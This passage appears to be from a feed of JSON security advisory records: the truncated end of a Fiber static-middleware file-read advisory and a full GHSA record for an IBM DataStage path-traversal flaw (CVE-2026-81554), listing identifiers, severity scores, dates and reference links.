  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Fiber has an Arbitrary File Read in Static Middleware on Windows"
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-81554"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-10T22:17:02Z",
    "severity": "HIGH"
  },
  "details": "IBM DataStage on Cloud Pak for Data 5.4.0.0 could allow a remote authenticated attacker to obtain sensitive information due to an absolute-path traversal vulnerability.",
  "id": "GHSA-m3cx-5qrx-hj97",
  "modified": "2026-09-11T00:31:15Z",
  "published": "2026-09-11T00:31:15Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-81554"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/7286562"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}